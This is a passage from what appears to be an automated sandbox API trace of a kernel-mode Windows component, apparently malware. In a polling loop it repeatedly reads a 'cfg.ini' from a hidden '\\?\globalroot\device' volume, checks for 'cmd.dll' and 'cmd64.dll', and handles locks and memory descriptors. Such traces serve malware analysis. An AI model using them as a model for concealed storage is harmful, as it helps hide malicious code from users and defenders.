Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.816] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.816] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.816] IdePortDispatch () returned 0x103 [0125.816] KeWaitForMutexObject () returned 0x0 [0125.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.817] KeLeaveCriticalRegion () [0125.817] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.817] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.817] KeEnterCriticalRegion () [0125.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.817] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.817] KeLeaveCriticalRegion () [0125.817] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.817] KeEnterCriticalRegion () [0125.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.817] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.817] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfab50, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.817] KeLeaveCriticalRegion () [0125.817] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.817] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.817] KeEnterCriticalRegion () [0125.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.817] ExFreePoolWithTag (P=0xfffffa8003bf9180, Tag=0x0) [0125.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.817] KeLeaveCriticalRegion () [0125.817] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.817] ReleaseMutex (hMutex=0xf0) returned 1 [0125.817] Sleep (dwMilliseconds=0x124f80) [0125.820] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.825] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.825] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.825] KeEnterCriticalRegion () [0125.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.825] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.825] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.825] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.825] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.825] IdePortDispatch () returned 0x103 [0125.825] KeWaitForMutexObject () returned 0x0 [0125.825] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.825] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.825] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.825] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.825] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.825] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003619cc0 [0125.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.825] KeLeaveCriticalRegion () [0125.825] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.825] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.825] KeEnterCriticalRegion () [0125.825] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.825] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.825] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.825] KeLeaveCriticalRegion () [0125.825] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.826] KeEnterCriticalRegion () [0125.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.826] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.826] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.826] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.826] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.826] IdePortDispatch () returned 0x103 [0125.826] KeWaitForMutexObject () returned 0x0 [0125.826] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.826] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.826] KeLeaveCriticalRegion () [0125.826] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.826] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.826] KeEnterCriticalRegion () [0125.826] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.826] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d04000 [0125.826] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.826] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.826] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.826] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.826] IdePortDispatch () returned 0x103 [0125.826] KeWaitForMutexObject () returned 0x0 [0125.826] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.826] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.826] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.826] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.826] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.826] IdePortDispatch () returned 0x103 [0125.826] KeWaitForMutexObject () returned 0x0 [0125.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.827] KeLeaveCriticalRegion () [0125.827] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.827] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.827] KeEnterCriticalRegion () [0125.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.827] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.827] KeLeaveCriticalRegion () [0125.827] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.827] KeEnterCriticalRegion () [0125.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.827] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.827] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.827] KeLeaveCriticalRegion () [0125.827] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.827] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.827] KeEnterCriticalRegion () [0125.827] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.827] ExFreePoolWithTag (P=0xfffffa8003619cc0, Tag=0x0) [0125.827] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.827] KeLeaveCriticalRegion () [0125.827] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.828] ReleaseMutex (hMutex=0xf0) returned 1 [0125.828] Sleep (dwMilliseconds=0x124f80) [0125.839] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.839] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.839] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.839] KeEnterCriticalRegion () [0125.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.839] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.839] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.839] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.839] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.839] IdePortDispatch () returned 0x103 [0125.840] KeWaitForMutexObject () returned 0x0 [0125.840] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.840] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.840] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.840] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.840] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.840] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003619e00 [0125.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.840] KeLeaveCriticalRegion () [0125.840] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.840] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.840] KeEnterCriticalRegion () [0125.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.840] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.840] KeLeaveCriticalRegion () [0125.840] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.840] KeEnterCriticalRegion () [0125.840] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.840] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.840] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.840] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.840] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.840] IdePortDispatch () returned 0x103 [0125.840] KeWaitForMutexObject () returned 0x0 [0125.840] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.840] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.840] KeLeaveCriticalRegion () [0125.840] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.840] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.841] KeEnterCriticalRegion () [0125.841] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.841] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d08000 [0125.841] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.841] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.841] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.841] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.841] IdePortDispatch () returned 0x103 [0125.841] KeWaitForMutexObject () returned 0x0 [0125.841] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.841] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.841] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.841] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.841] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.841] IdePortDispatch () returned 0x103 [0125.841] KeWaitForMutexObject () returned 0x0 [0125.841] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.841] KeLeaveCriticalRegion () [0125.841] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.842] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.842] KeEnterCriticalRegion () [0125.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.842] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.842] KeLeaveCriticalRegion () [0125.842] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.842] KeEnterCriticalRegion () [0125.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.842] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.842] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.842] KeLeaveCriticalRegion () [0125.842] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.842] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.842] KeEnterCriticalRegion () [0125.842] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.842] ExFreePoolWithTag (P=0xfffffa8003619e00, Tag=0x0) [0125.842] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.842] KeLeaveCriticalRegion () [0125.842] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.842] ReleaseMutex (hMutex=0xf0) returned 1 [0125.842] Sleep (dwMilliseconds=0x124f80) [0125.856] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.856] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.856] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.856] KeEnterCriticalRegion () [0125.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.856] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.856] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.856] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.856] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.856] IdePortDispatch () returned 0x103 [0125.856] KeWaitForMutexObject () returned 0x0 [0125.856] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.856] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.856] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.856] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.856] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.856] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4450 [0125.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.856] KeLeaveCriticalRegion () [0125.856] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.856] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.856] KeEnterCriticalRegion () [0125.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.856] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.856] KeLeaveCriticalRegion () [0125.857] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.857] KeEnterCriticalRegion () [0125.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.857] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.857] IdePortDispatch () returned 0x103 [0125.857] KeWaitForMutexObject () returned 0x0 [0125.857] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.857] KeLeaveCriticalRegion () [0125.857] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.857] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.857] KeEnterCriticalRegion () [0125.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.857] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d0d000 [0125.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.857] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.857] IdePortDispatch () returned 0x103 [0125.857] KeWaitForMutexObject () returned 0x0 [0125.857] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.857] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.857] IdePortDispatch () returned 0x103 [0125.858] KeWaitForMutexObject () returned 0x0 [0125.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.858] KeLeaveCriticalRegion () [0125.858] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.858] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.858] KeEnterCriticalRegion () [0125.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.858] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.858] KeLeaveCriticalRegion () [0125.858] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.858] KeEnterCriticalRegion () [0125.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.858] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.858] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.858] KeLeaveCriticalRegion () [0125.858] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.858] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.858] KeEnterCriticalRegion () [0125.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.858] ExFreePoolWithTag (P=0xfffffa8003bf4450, Tag=0x0) [0125.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.859] KeLeaveCriticalRegion () [0125.859] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.859] ReleaseMutex (hMutex=0xf0) returned 1 [0125.859] Sleep (dwMilliseconds=0x124f80) [0125.865] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.873] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", 